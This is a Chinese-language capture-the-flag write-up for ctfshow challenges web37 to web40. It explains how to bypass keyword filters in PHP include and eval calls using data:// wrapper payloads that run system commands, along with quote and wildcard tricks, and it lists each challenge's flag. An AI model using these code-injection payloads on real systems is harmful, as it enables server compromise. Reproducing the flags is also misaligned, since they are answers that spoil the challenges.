目录
web37
代码分析:
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
与前几题不同,前几题传入的字符串被eval当作命令执行了,而这道题是include,也就是说应该传入一个文件名,在这里被包含
但是过滤了flag,传入flag.php是行不通的,这时候可以使用data://text/plain,<?system('ls');?>
让网页直接包含我们写入的代码,从而执行恶意命令
payload:
/?c=data://text/plain,<?=system('tac fl""ag.php');?>
注意flag需要绕过,可以使用引号绕过
flag:
ctfshow{84e1eca1-f50c-468a-a62d-15e527fa734f}
web38
代码分析:
if(!preg_match("/flag|php|file/i", $c))
这一题比上一题多过滤了个php,可以使用通配符绕过
payload:
/?c=data://text/plain,<?=system('tac fl*');?>
注意flag需要绕过,可以使用引号绕过
flag:
ctfshow{f311f8d8-07a3-473c-bccb-05be9affc617}
web39
代码分析:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
看起来很唬人,我觉得是不是传个flag,其实根本不用管这个.".php",多出来的部分会自动识别为字符串,所以还是跟37一样
payload:
/?c=data://text/plain,<?=system('tac fl""ag.php');?>
注意flag需要绕过,可以使用引号绕过
flag:
ctfshow{78e78020-1ad2-446c-8a13-0cdf5e916bf4}
web40
代码分析:
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
这道题又回到eval了,但是过滤的内容有点多,翻阅了大佬的题解,发现这里面的括号是中文括号,所以可以使用套娃
套娃在前面的文章中有详细的操作流程与解释
payload:
post传一个参数:Chen=system('tac flag.php');
flag:
ctfshow{383cbb4b-1fbf-4209-9efb-b64720e53766}